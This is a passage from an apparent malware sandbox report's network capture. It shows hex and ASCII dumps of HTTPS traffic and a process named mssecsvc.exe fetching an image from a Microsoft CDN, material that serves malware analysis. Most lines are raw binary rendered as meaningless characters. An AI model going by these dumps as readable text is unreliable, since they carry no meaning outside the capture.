eb bb 56 b4 92 af e2 7d 93 18 43 64 e3 15 53 ba f9 f9 2a a0 4e 93 8c b8 6b ec f3 Data Ascii: AV"SrK>\|$F)QZ@?Js9AHj x;[en\|#9F-YxXqc3t\|$YFI.\|.kV!\W=VaZG&X%V.zUEc)cMA5i'~s_%mouoYAfRVV}CdSNk
2022-07-21 02:34:45 UTC	6106	IN	Data Raw: 59 16 b8 a3 3c 4d 9f 96 d7 35 4b e6 89 94 2d e4 2a b7 1b 09 03 67 63 47 73 dd f1 37 fc ca a2 a1 af a6 b5 61 ac 7f 3d 54 f8 f1 5e cc d6 20 ed 27 65 b6 e9 f1 68 a5 79 aa b8 cc 62 94 16 62 76 5b bb f8 7e 9d 35 4c 9d 1a 9e 2b 2b 81 b3 56 f5 c6 e6 ee ff 00 63 d0 dc a0 27 c4 9b 25 83 5d d8 81 72 09 b6 f5 fb 5f 62 ad 42 6c db e6 cb 4b 75 be cd b5 e1 83 a1 42 85 5b da f6 f4 be eb ef 3b 15 c9 f1 12 25 24 11 a5 46 d2 0d bf e7 a9 c1 1d 81 5b 68 f2 5c df 6f 77 d9 ef 6b af 73 39 38 c8 b1 a7 b4 1b ce 6d db 6f 33 cd ef d1 86 6c c0 be 9c c6 98 00 b6 be 8a 5d 12 b0 16 62 01 bd 87 d3 56 e4 be 85 04 30 2d b0 5e a5 a5 4a 28 4b 95 d4 0e de d1 f1 6e fa 74 0e 4b eb 36 1a bc 9b 7a 6a c2 ef 1b d2 98 d8 57 35 1b ed 3b 0d 89 fc d4 4c 82 38 b2 1a 3d 5a 90 81 63 e5 d4 38 89 43 42 9a Data Ascii: Y<M5K-*gcGs7a=T^ 'ehybbv[~5L++Vc'%]r_bBlKuB[;%$F[h\owks98mo3l]bV0-^J(KntK6zjW5;L8=Zc8CB
2022-07-21 02:34:45 UTC	6122	IN	Data Raw: a1 4d ad 6e 83 d8 fe 5e 8a a1 d2 29 50 bc 9b ce 0f 41 fc bc 3a 1e 7c d6 88 aa a8 d4 d2 01 a5 88 f2 ff 00 7a ba f1 b9 9d 75 10 c3 48 da 06 cb 8e d5 42 a5 ad cb 52 48 a2 67 85 03 95 5b 1d 4f 70 47 46 9f 77 aa 97 64 03 09 e2 41 d9 17 24 30 06 d4 e2 53 1c 71 ac cb 6d 45 94 8b 74 6e ef cc c9 da fd 3a 5c d1 a3 ea 2c 4b 31 62 4e cd 84 77 6b a2 6f 4e cd 9e d5 43 0a 82 c2 52 05 63 d0 46 ab f5 ef 69 fd 4a ad db 88 57 a8 6d da 7c bf b7 44 12 4c 7a 09 16 5d 20 db a6 de 75 4a 18 75 ef 4a 37 47 5d 33 2b 5c 9a 1b 5e a4 ed c2 46 5b ea 65 04 6d 1b 35 0d 3f a7 54 18 25 86 25 ca 56 d2 0d c5 d4 e9 22 de 67 8d bc ca b2 77 72 fa 5c 58 b0 b1 b6 db f8 37 bd 1a 86 2c 65 2c 41 d2 e4 85 0a dd 9b b7 bd d5 27 b3 4e fa 54 0d 05 ff 00 a7 d6 a9 62 4e 95 21 1e 49 1a e0 25 9c 9b c9 aa db Data Ascii: Mn^)PA:\|zuHBRHg[OpGFwdA$0SqmEtn:\,K1bNwkoNCRcFiJWm\|DLz] uJuJ7G]3+\^F[em5?T%%V"gwr\X7,e,A'NTbN!I%
2022-07-21 02:34:45 UTC	6129	IN	Data Raw: 51 6d e6 e1 bb fe 1c 74 d2 a4 aa a9 39 06 5e 1e 7a 54 a1 90 b5 c0 8c 32 71 22 f5 99 97 d7 4f bc a1 30 e0 9e 5c e9 22 68 06 41 81 99 74 6d d3 fc 5d c6 4d 7b 94 e7 9f ca b0 98 f1 a3 52 b3 40 ca ea 1b a1 78 83 d8 43 f8 30 d4 33 7e 58 c9 9b 23 22 68 8b 09 35 6a 50 06 c9 2c ab bf 1c fa bb fe ee 95 73 3e 64 33 32 62 62 c5 a6 31 00 de 5b a6 ad 5a a9 56 e8 a9 c7 77 8a aa c0 23 dd 72 e1 82 0c a4 3b df 16 5f 87 9f cc f7 54 24 59 b2 ac eb 3e a2 24 0c 1a e3 66 da 9e 2e 06 4e 5c 9a e2 56 99 cb 13 b0 6a b9 ed ef 51 78 fc a5 73 6d 1c 6c a8 e4 5c 16 27 4f e8 d7 25 f8 ce 57 1b 42 a1 91 76 29 70 08 57 20 fb b9 7c 14 0b 27 51 14 ec 19 ef 3d 5d eb 07 20 45 82 49 c3 bf c2 d1 d5 b9 98 72 f3 ec 77 c4 c8 0b 1e 74 6f 78 b5 01 16 b1 bd c7 c6 ec f6 be ea 97 61 62 60 b0 4c 7d 3a 25 Data Ascii: Qmt9^zT2q"O0\"hAtm]M{R@xC03~X#"h5jP,s>d32bb1[ZVw#r;_T$Y>$f.N\VjQxsml\'O%WBv)pW \|'Q=] EIrwtoxab`L}:%
2022-07-21 02:34:45 UTC	6145	IN	Data Raw: 4f c8 30 a7 62 ef 0a ea 3d 24 0d a6 a9 cb f9 6f 0b 25 55 5d 34 e9 16 52 bb 0d be ad 38 26 bd 44 27 95 6d 66 6d 36 6f 57 62 2b 35 27 c9 78 4c 41 52 c0 8e 8d bf ad 55 cb f2 4c 4e 6e 24 20 f5 d6 a4 8b f4 9a f5 85 3b f9 de e0 0b 66 d6 a1 c1 6f 7a ca ff 00 f8 95 6b 68 9e c0 74 dc 5c da bc df 26 31 f7 a0 9b f5 8e aa d4 d8 57 b4 8a ef e7 a7 f3 7d 55 a9 c0 56 4d 3e 4b 91 1c 95 91 40 3d 76 24 d4 87 ca d9 3a 15 1e 40 42 5f 48 03 4d 81 ad 4e 91 5c d3 53 fc f4 de 27 ea d4 14 06 b0 d3 fc a7 9a ad 61 67 50 76 1a 87 fb 4e 7c 43 80 f0 92 b7 b8 23 6d 6e 99 5a a0 ca e6 9c 3f 10 90 e8 c1 1a 84 a0 35 f3 79 70 32 44 e6 59 61 7b a8 b6 d1 d3 e1 a0 9b 0a 68 1f 89 32 b0 2f f4 75 d7 d3 99 e4 5d 85 6f 50 66 57 ed c7 b4 55 a5 fc 49 80 b6 22 de ab 50 74 c0 24 f8 9a f9 d4 58 73 ec 7d Data Ascii: O0b=$o%U]4R8&D'mfm6oWb+5'xLARULNn$ ;fozkht\&1W}UVM>K@=v$:@B_HMN\S'agPvN\|C#mnZ?5yp2DYa{h2/u]oPfWUI"Pt$Xs}
2022-07-21 02:34:45 UTC	6161	IN	Data Raw: e7 ba 9b b9 5c 9d 47 47 2e 15 a7 26 9a 9f 0f 4f 2d 74 64 70 e6 e1 3d d9 d7 7b 67 66 8a 8f 36 5e 92 bf 9e a9 92 75 5b 47 b6 dd 44 7e f5 59 ad 9c 00 2f 65 e8 14 83 37 4c 91 16 51 01 bc be 66 6f 5e 88 d8 f8 57 83 33 ed 3b 49 35 d5 de 37 35 ed 42 c0 30 de eb 35 00 e7 b3 71 6e a1 d1 55 c8 17 b9 39 13 bd f3 bd 7a 8a b9 88 b5 93 ff 00 de 6b bc 46 88 69 04 5b af ae 84 6e 61 1a 30 59 5b 77 f2 52 b6 f9 8a 38 d4 eb 0a 85 d8 88 ef b6 f6 f4 3b f5 65 03 92 5e 3d c2 77 6e 9b 98 ff 00 77 5d 8f a6 9a 73 0c a6 c4 80 bc 7e b1 f6 1d 1e 5b f8 6a b1 98 c1 2e c8 4b db a2 a3 8b 96 af 1a 96 20 1b 5e bd ae 01 27 12 e2 ef fd b4 96 37 d0 af 0f b5 53 6a 5e 60 cf 32 24 bc 60 a2 f7 d0 c3 50 02 dd 95 f3 aa c3 cc 26 85 95 9c 16 52 c1 49 02 c8 2f f5 b7 59 e8 dc 7c c8 72 2f c2 60 e1 49 eb Data Ascii: \GG.&O-tdp={gf6^u[GD~Y/e7LQfo^W3;I575B05qnU9zkFi[na0Y[wR8;e^=wnw]s~[j.K ^'7Sj^`2$`P&RI/Y\|r/`I
2022-07-21 02:34:45 UTC	6169	IN	Data Raw: ed 5e e2 82 2f a6 f5 0b b3 1b 00 49 3b 2d 5e 12 80 ba 4d ef 7f 2e cf af 53 8d 75 fc 2b b2 38 b7 41 17 fa 6a 46 7d 63 45 c8 fa 05 7b 48 eb 37 3e 42 2b 8e 40 e9 1b 47 46 da ed b5 22 bc 0a 9d 86 e4 ff 00 6d 49 55 58 5f 6e cf e9 a6 aa 89 83 12 74 ec 1e 4a b7 e2 06 38 d2 db 0f 4d 8f 4e de f2 e9 a9 2a 7c 2a 01 be 95 d4 58 ce c6 d9 73 46 1c 6b 9d 01 86 a0 2f d5 4b b8 ca fd 00 5b e9 af 32 d9 b5 2e cb f4 d0 15 27 c6 d5 34 54 70 b1 26 e4 6c ea bd ff 00 56 ba d8 ce 82 ec 40 5f 28 a0 2e c0 95 51 b4 74 d5 a9 3c 9a 74 b9 36 1d 5e 5a 92 8d e9 15 df 9e ac 64 d7 da 04 93 d1 b6 db 3d 1d 35 0e 13 25 b6 12 3a ad 5e 19 0a 0e dd 83 c9 52 32 c8 c0 3a ec 06 bb 51 f9 ab 85 42 6c e9 55 d5 02 b1 1e 5e 9a 92 b3 2b 6b f2 f9 2b af 21 be dd a3 fa 6e b5 74 ac 86 da 74 91 d4 07 47 d6 ae Data Ascii: ^/I;-^M.Su+8AjF}cE{H7>B+@GF"mIUX_ntJ8MN\|XsFk/K[2.'4Tp&lV@_(.Qt<t6^Zd=5%:^R2:QBlU^+k+!nttG
2022-07-21 02:34:45 UTC	6185	IN	Data Raw: 5a 32 34 85 81 50 7a 7c 83 bb 55 c6 89 09 e1 c2 55 14 dd ad d2 4e ad ee 27 da a1 64 80 4b 2e ea 82 36 87 b1 22 df 5d 3f d5 e1 d7 31 24 90 a8 05 77 8b 30 1d 3a ac bf 8b 2a 45 ab 73 c7 50 22 5c 32 07 da 8e 86 c6 e4 54 c6 44 cc 03 c8 11 a3 37 d4 a0 ef e9 5e c7 0d 74 fa c7 d5 40 1e 71 c3 68 f1 49 5c 66 3b 6c ca 49 b5 f5 f6 fd 9c 52 ba 77 29 94 92 29 1c 1c a5 3a 48 3b 54 6f 0f 3f 8c bb 95 e0 b8 59 5a 59 08 74 ec 85 24 15 27 77 4f ab fb c4 ab 29 db 86 8c c8 b8 c8 a8 32 2a 9c 69 fd dc 9f 12 98 37 46 bf a2 86 93 98 c8 92 6a 20 34 62 e1 0a ef 6a d5 f7 ad ee ea fc 3c 81 3d ec 0a 10 01 40 de 13 da d0 8b fa f5 56 7c 99 51 1b 62 40 b2 a3 76 8e ad 1a 7c 5f c5 93 cc a8 e2 63 4f 34 42 24 d1 1a c5 d3 a9 b6 f9 ea d9 09 ad df 89 fc ba 5c 70 89 54 05 c1 5d b7 51 72 df 6f 99 Data Ascii: Z24Pz\|UUN'dK.6"]?1$w0:EsP"\2TD7^t@qhI\f;lIRw)):H;To?YZYt$'wO)2i7Fj 4bj<=@V\|Qb@v\|_cO4B$\pT]Qro
2022-07-21 02:34:45 UTC	6201	IN	Data Raw: f6 5a f4 f0 b2 c0 ec 58 83 2c aa bb 7a d4 a8 fb bd 5e 7d 07 97 91 26 4c 17 c6 37 25 b6 1d 85 86 ce 24 53 2f 8d 78 9b 94 9a 5c 85 96 51 90 9a e3 76 60 49 54 66 6d 7d 96 5e 26 e6 37 f4 96 a1 ca f3 67 c2 59 22 95 9b 8d a8 92 b6 5d 97 de fe 9c 39 29 af db a8 25 97 79 57 48 d6 4e 3f 6e 99 d3 03 ff 00 d6 8a 49 b2 a0 c6 8f 8e 08 91 d5 d8 6b 52 83 cf 81 1b c5 ef 3d 67 0f f0 eb b8 d8 ed 1c 44 c5 24 8d 20 0b ad b6 6d bf ac 8a 46 f3 2a ec 6e 69 1c d0 a6 d2 91 dc 69 57 0d 72 1b 77 bf af b7 ed 22 9b f9 74 26 36 5a 97 42 d1 b0 65 dd b1 1a b7 3d c4 9e af 73 5f f1 91 3f 0a 84 83 ad 97 1f 16 14 04 58 d3 97 79 15 24 90 4a 0b ad cb 58 5b 75 7f 0e 97 9c 7c b5 55 6c 61 a4 b2 b1 ba 91 b0 bf 63 8c 9d d8 b4 c7 f8 9e 65 71 f8 4f 90 c7 4b 17 d3 ba e0 d9 b7 b7 74 af bb f3 3b 1f 77 Data Ascii: ZX,z^}&L7%$S/x\Qv`ITfm}^&7gY"]9)%yWHN?nIkR=gD$ mF*niiWrw"t&6ZBe=s_?Xy$JX[u\|UlaceqOKt;w
2022-07-21 02:34:45 UTC	6204	IN	Data Raw: 6d 5a 16 50 2c 31 47 fe bd 6d c9 d8 11 77 8b 83 c3 2a 62 b3 2c 23 8b 32 ee a9 b5 cb 69 8d 88 67 5f 5d 2b 54 67 cd f8 c9 74 b2 0e 2b 95 d2 c8 7d 5e 83 ba 88 8f e0 dc ab 39 54 70 c7 11 48 65 9b 44 a3 49 46 3a 95 c9 55 d7 ea bd 97 99 ec fe ea a9 4c 33 04 c7 2b 24 07 0b ba a5 4b 2a dc 0d d5 68 9f 47 72 bc fc 91 a4 6e ca 72 ea a6 e9 e5 df f2 26 fd 66 14 65 24 37 85 53 8b cb 0c d8 b2 48 fa 84 e0 dd 00 3e cc 6a d0 ff 00 11 1f b4 ee 3e 8f e1 d1 8b ca a2 38 b7 79 19 9c 76 4f 42 03 d8 df af 20 c8 c7 32 32 90 71 9b 79 b4 df 71 98 6f 77 77 f7 3f 89 eb 3d 65 11 81 84 64 90 47 ac 34 24 81 e4 31 ec fb be e3 ea ec 71 3f 89 49 92 46 d4 e5 65 be 62 df e9 d7 63 e8 aa e5 ca 83 06 22 d1 8d 2c 36 95 3d f3 e0 e2 7f 4e 1d 03 0f 30 8c 33 68 46 06 4d e4 1b 35 6d df ec 2f 62 8e c2 Data Ascii: mZP,1Gmwb,#2ig_]+Tgt+}^9TpHeDIF:UL3+$KhGrnr&fe$7SH>j>8yvOB 22qyqoww?=edG4$1q?IFebc",6=N03hFM5m/b
2022-07-21 02:34:45 UTC	6220	IN	Data Raw: 3c 4f 68 dd fa 0b 37 92 66 f2 e4 2d 93 0b 22 ea d2 49 e8 bd 6c 79 fc 93 47 72 ba 96 34 6d 37 1d b2 bd b5 d7 c4 ec 3f b4 8d 26 d1 eb 7d 9d 29 86 79 b0 90 95 95 89 98 6e 82 37 45 bd 97 17 f1 97 cc ab 0b db 64 2e 0d 26 f3 4a 3a 86 db da 28 b5 66 d2 42 14 0b d4 a3 93 71 81 fa 2b 41 9d f2 fc 59 6c 65 c7 22 27 6b 9d 37 f5 6c df 85 df 8b 88 ff 00 79 b9 45 62 72 a4 e4 a8 5d 02 cf 3b 01 66 61 b2 3d 9e b7 73 b3 40 b0 c8 1e df f5 a2 13 1d 05 b7 ab 37 8c ef 01 d4 c0 e8 3e 51 ba de 65 1b 8f 99 1c 6a cb 16 c6 6b 8f a2 de 65 35 51 8d 8f 03 a6 74 9c 5e 21 db 18 3d 8f 06 8f 07 f1 53 f8 74 8b 99 08 f1 f2 5a 28 c1 55 4d 96 6e d5 59 5b c5 b7 79 2a 43 07 d1 86 8a 76 f9 a8 b9 f3 99 f6 dc 96 b8 e9 db b7 f7 2a 03 98 3a b5 ec 2e 2d b4 0d 36 f1 76 29 77 14 96 da 6a 70 2b cc eb 1a Data Ascii: <Oh7f-"IlyGr4m7?&})yn7Ed.&J:(fBq+AYle"'k7lyEbr];fa=s@7>Qejke5Qt^!=StZ(UMnY[yCv:.-6v)wjp+
2022-07-21 02:34:45 UTC	6236	IN	Data Raw: 36 d1 d0 3c b5 6c 58 fc 47 11 dc 8b 74 d5 78 20 b3 3c bf 4d 85 35 e5 f8 a6 49 cc a3 a0 a7 fc 7d 5f e8 52 a5 90 a8 62 4f 08 a5 c9 21 61 bd 4a 5d 0a ec 35 34 6d 22 de 4a 1f 2c b4 73 b0 52 76 9d 82 88 12 05 f6 97 b1 e9 b5 35 80 21 7d 6a 0b 30 35 24 c8 60 74 f5 79 2a 5a 62 b1 2a ba 5b ae dd 1f 66 8b 7c 0c 56 c5 19 50 cf a9 ef 63 19 5b 3a d0 aa 82 95 75 60 59 32 18 e8 dc 95 27 24 20 37 37 0d 09 3c 46 22 4f 76 fd 55 52 ab 3d 82 82 49 e8 14 f3 2b 97 34 78 a9 9c 1b 72 47 28 47 90 a8 5f d7 aa f9 64 2a 27 53 6e 8d b4 63 ba b4 65 86 f6 3b bf 39 29 e9 dc 48 a2 c7 f4 5e 97 9e 5d 90 8e 62 91 0a 38 17 21 b6 75 6a a3 b1 70 a3 11 5d 94 33 be c1 7a 63 9a dc 5c c1 27 96 c0 fe 4a aa 25 b4 80 0e 85 dd fe aa ae fd d3 ba 0b ee 9b 64 71 a2 69 dc 8a 0b 27 02 24 3b 9b 96 3d eb d5 Data Ascii: 6<lXGtx <M5I}_RbO!aJ]54m"J,sRv5!}j05$`tyZb[f\|VPc[:u`Y2'$ 77<F"OvUR=I+4xrG(G_d*'Snce;9)H^]b8!ujp]3zc\'J%dqi'$;=
2022-07-21 02:34:45 UTC	6241	IN	Data Raw: 4e ee eb 76 28 7e 4e d9 10 93 36 3c cd 10 bd 99 46 d5 7b f8 d1 fd 5d 31 e4 f9 87 e3 72 72 e5 ed 32 b1 fc f7 fe e5 66 f7 0e 3a 2e 15 af 27 dd e3 8e 14 68 d9 2e f8 de 5d d5 dd e4 a5 59 eb 6c a7 d1 b5 10 e9 ae 15 d3 91 a7 ca c4 d7 14 96 6b b7 4b b5 ea d9 50 fc 60 1e 55 04 9f 26 ed 06 c1 6f 42 54 9d 95 6e 53 0e 18 41 d2 dd 3e 8d 2f 78 80 34 5b dd da e3 af a3 f2 0e cd 57 22 6d da 2b 93 77 4a 59 b5 a9 cf ca b0 df 19 dd 86 c5 76 6f b2 a9 55 fc f1 20 c2 e5 d1 62 0e dc c6 e7 f2 2e f7 eb d5 3c bf 17 29 70 c4 81 4f c2 bb 95 91 86 d3 a4 32 b3 7a bf a9 59 ff 00 9a f9 e1 e6 f9 c6 4b 69 48 c6 85 03 e8 a5 c3 03 4b dd 66 0e 49 1b 33 b5 b9 59 3e 1d 14 76 0b 7f e8 a1 b9 2f aa ca 85 ef b4 be 9b 5b cb b9 4d d7 0f e2 79 8c d1 81 bd a4 ff 00 58 a4 e7 9b 33 08 31 96 dc 38 dd 5a Data Ascii: Nv(~N6<F{]1rr2f:.'h.]YlkKP`U&oBTnSA>/x4[W"m+wJYvoU b.<)pO2zYKiHKfI3Y>v/[MyX318Z
2022-07-21 02:34:45 UTC	6257	IN	Data Raw: 97 bb 91 f4 0f f8 53 4e 53 0a 83 c4 7e c8 1d 7d 14 95 32 03 c8 50 1e c9 a2 9e 66 75 11 8b 84 1d 5f b4 d4 12 21 23 1e 1b d1 a3 00 2f b6 98 f3 4c c8 b2 65 8b 85 d9 4f a3 ae f4 b7 09 99 86 ce d5 c5 ab b1 82 c4 5c 6c a9 72 a5 32 64 46 be 26 14 21 44 68 40 d8 a2 bb 2c b5 a2 11 bf db b3 87 09 6d 1a 8d 36 1d 16 f7 95 de 79 93 f1 13 58 74 2e c1 4c 73 31 e3 24 3b 74 af ff 00 0d ea ce c9 3e b9 48 eb bd 04 56 90 87 b6 f2 2e 37 a1 63 8e 87 c4 d3 ac 1e 54 f9 98 de ac 0b ed b8 34 97 22 11 04 dc 37 03 89 16 a5 bd fc 7a 77 69 f7 2f c9 78 55 55 0f 48 a4 19 f1 b9 96 47 fc ff 00 d5 45 09 62 ec 09 dd e5 a1 72 aa 43 0f 4e 26 94 64 48 c1 a5 42 74 c6 d6 1f 67 c3 52 e5 79 d0 44 fc 22 34 ab ec 27 af d3 a1 e5 91 73 1b 41 36 93 bb e4 6f 36 97 cc 8c 84 82 2c 47 55 6b 2c 41 86 27 74 Data Ascii: SNS~}2Pfu_!#/LeO\lr2dF&!Dh@,m6yXt.Ls1$;t>HV.7cT4"7zwi/xUUHGEbrCN&dHBtgRyD"4'sA6o6,GUk,A't
2022-07-21 02:34:45 UTC	6273	IN	Data Raw: 3d 2c 7c 55 95 cc 48 e4 c3 ff 00 70 c9 8e 59 24 61 60 ca 40 89 5a fe fd df 7f d0 4a 28 58 77 72 87 b6 ea 33 c4 aa 79 f7 29 ca 82 34 c0 ed 61 95 57 89 f3 1c 8c c1 64 85 49 f2 a9 28 6d fa 71 d5 f9 1c d3 27 97 a5 f1 8f 08 ca bb c4 76 ac 0b ee ea a4 7c bf 3e 36 ca 8f 8e a3 82 1b 6a 8b ed 1e 1d 5d bf af 4f db 36 14 c1 70 63 0c 24 2e 8a cd b4 c7 ef 17 47 9f bf 56 25 89 51 80 c2 e1 ad 92 f2 54 c7 75 1a 9d 6f 57 7c 9a ad 26 36 56 54 a6 fb a5 47 e6 1c 67 ff 00 a7 5e e5 70 09 39 7e 4b 9e d4 68 92 2f 97 52 97 6a bb 1e 21 cb 70 86 38 b8 3c 36 24 79 ee 35 3e af 42 a3 81 3a e3 62 cd 1f 5c 80 a8 b7 d0 bf fa 94 9b 86 76 7d aa f2 26 ef 06 e4 54 83 26 4a cc 74 c4 e2 5a ac e6 79 c3 99 18 f2 00 00 b4 49 aa de 31 a9 25 fd 3a ce 73 dc 72 23 5c 90 36 03 a1 8f e5 df 8b f6 e9 be Data Ascii: =,\|UHpY$a`@ZJ(Xwr3y)4aWdI(mq'v\|>6j]O6pc$.GV%QTuoW\|&6VTGg^p9~Kh/Rj!p8<6$y5>B:b\v}&T&JtZyI1%:sr#\6
2022-07-21 02:34:45 UTC	6280	IN	Data Raw: 81 3a f6 b1 fa 3b a9 56 a1 01 11 54 9f 0d 69 c9 11 c4 0d 9e 2c 7c b4 36 4c b2 73 29 82 c4 a5 82 ec 45 02 e6 df df ad 37 ca 38 d3 e3 ac e9 32 32 5f 4d b5 02 3c 74 ef ff 00 6f 79 48 85 5f 31 d4 05 ec 27 d2 7d eb d3 ff 00 98 21 2b 14 72 b1 24 eb d3 b4 f7 59 5f 77 47 63 b9 54 bb a2 d2 c2 f6 0a 23 5e 1c 79 ba 7b f2 56 8c 22 ea 31 dd 03 85 7d 5a f9 c7 38 1a 5d 87 46 df fe 34 24 5b b1 96 eb bd 1d cf 56 d2 30 eb bd 0c e8 12 3d de 83 e5 a5 c6 77 17 e5 aa 58 ed b7 83 57 71 c9 e9 14 ff 00 92 fa c7 d2 6c 05 67 a0 24 0a 73 85 95 c1 c2 9e 55 53 ad 63 20 11 d2 59 fd 5a 7e 9b d2 7b 85 24 58 6d 6d d1 f3 a8 e1 01 a4 02 f6 d6 94 63 cf 0f 30 cd 92 51 1a a4 2a 5d 98 f6 99 ec 78 8f a9 fc ff 00 65 16 8f bc a0 27 f9 8f 3d 65 97 85 33 22 c8 d7 65 53 65 2d e8 f9 b4 cf 97 43 f0 d0 Data Ascii: :;VTi,\|6Ls)E7822_M<toyH_1'}!+r$Y_wGcT#^y{V"1}Z8]F4$[V0=wXWqlg$sUSc YZ~{$Xmmc0Q*]xe'=e3"eSe-C
2022-07-21 02:34:45 UTC	6296	IN	Data Raw: b5 12 cc d2 36 47 4f d9 5a a8 44 11 8b c6 34 9b 5b 65 2e 38 92 40 c4 b6 d1 e2 14 e8 c1 bb a8 1b f9 6a 1a 0d a9 36 89 94 f4 cd 9d 77 58 35 17 59 d2 c1 8e 6b 48 39 86 41 5c 66 00 ef 48 74 fd 5e db d2 b8 01 1b 2d 5a 8c be 4c 99 80 32 59 64 1d 17 ec 1f 4b c1 48 25 8e 7c 79 be 1e 75 d0 47 57 ed 79 f4 e8 f1 54 c4 1d 78 9a b5 bb 29 52 44 b2 f1 29 df a1 59 74 b5 74 0d b5 6e 43 2c 24 ec bb 75 7d 15 de 5b 8b 26 6c 82 28 85 dd 8d 87 f4 f3 69 85 82 a6 47 41 56 4b 01 73 4c 39 27 25 7e 69 30 51 d8 be f1 fd 8a d2 73 de 72 22 88 60 e2 1d 30 ae e9 d3 b3 57 8b f9 55 ec f9 62 e4 18 2b 89 17 ff 00 51 22 ed f3 50 f7 bf 89 3d 66 38 a5 f6 b6 da af 7b 00 dc ed c3 ea 46 df b7 4a 8e f9 75 1b 9f e1 2f dd a7 f5 eb 4f f2 b4 46 48 a5 64 d8 d1 90 75 0e 9f c3 fb 1a 2b 61 8b f3 8c 7d 8c Data Ascii: 6GOZD4[e.8@j6wX5YkH9A\fHt^-ZL2YdKH%\|yuGWyTx)RD)YttnC,$u}[&l(iGAVKsL9'%~i0Qsr"`0WUb+Q"P=f8{FJu/OFHdu+a}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.6	50762	80.67.82.211	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:51 UTC	7251	OUT	GET /cms/api/am/imageFileData/RE4RyGF?ver=0d75 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-21 02:34:51 UTC	7251	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Jul 2022 17:59:44 GMT X-Datacenter: northeu X-ActivityId: 8723f323-6686-4c68-983f-8aa1f105ffa3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4RyGF?ver=0d75 X-Source-Length: 1608463 Content-Length: 1608463 Cache-Control: public, max-age=401189 Expires: Mon, 25 Jul 2022 18:01:20 GMT Date: Thu, 21 Jul 2022 02:34:51 GMT Connection: close
2022-07-21 02:34:51 UTC	7251	IN	Data Raw: ff d8 ff e1 1a 7f 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 31 3a 31 36 20 31 36 3a 34 32 3a 32 34 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:01:16 16:42:248"
2022-07-21 02:34:51 UTC	7267	IN	Data Raw: be 8f 28 79 c7 6e 0d ed 6f e6 b0 b5 da 91 fc e7 98 54 ee e4 4f 8b d0 47 1c 63 86 38 c8 e2 1c 3e a0 7a fe 93 c6 da d6 d6 e7 b8 b3 da e7 b9 bb 5a fe 43 4f b3 dc ef 6b 98 9f ed 56 fa 53 8f 5d 2c 6d 45 c0 17 06 87 80 7e 8f d1 fd df fa b5 5e fb 65 ee 3b 76 b4 b8 49 07 b7 66 04 2b 83 9c d2 5a d7 37 1a b3 ef 69 3f 9c 7e 8e e7 99 f7 2b a2 3d dc 09 0b 3f 57 42 9e a5 70 65 96 33 24 ef 3e d2 d7 b7 5d 41 6b 59 00 7a 4f fa 5f 4d ea a8 b1 a1 be 93 0b 9b 54 19 a9 f0 5a 1f 3b 8b 98 d6 8f 72 a3 5e 43 ec ba c7 34 1a d9 61 12 00 e0 0e 19 ff 00 45 5b 73 2e 73 1b 7f d9 f7 e3 bd fb 21 de e6 9b 3f 75 bf 47 dc 9f 55 f5 51 15 d2 90 e4 35 ae 05 82 5a 41 97 6b ed 76 a6 1d ee f7 7f 9e aa fd 94 fe 3f ea 16 9d 54 d7 64 ba bd 5e 74 88 1a 99 d9 b5 cd 9d de a6 df dd f5 3d 54 4f b1 5d fe Data Ascii: (ynoTOGc8>zZCOkVS],mE~^e;vIf+Z7i?~+=?WBpe3$>]AkYzO_MTZ;r^C4aE[s.s!?uGUQ5ZAkv?Td^t=TO]
2022-07-21 02:34:51 UTC	7283	IN	Data Raw: 30 46 46 45 36 35 30 33 30 30 30 35 37 32 34 36 34 38 43 32 33 34 37 44 31 33 41 46 42 34 36 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 30 54 31 35 3a 33 38 3a 35 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 2d 4f 6c 79 6d 70 69 63 73 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 42 69 6e 67 2d 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 37 38 38 30 38 36 30 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 30 54 31 35 3a 34 32 3a 31 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 Data Ascii: 0FFE65030005724648C2347D13AFB4679.psb saved 2016-07-20T15:38:52-07:00 File 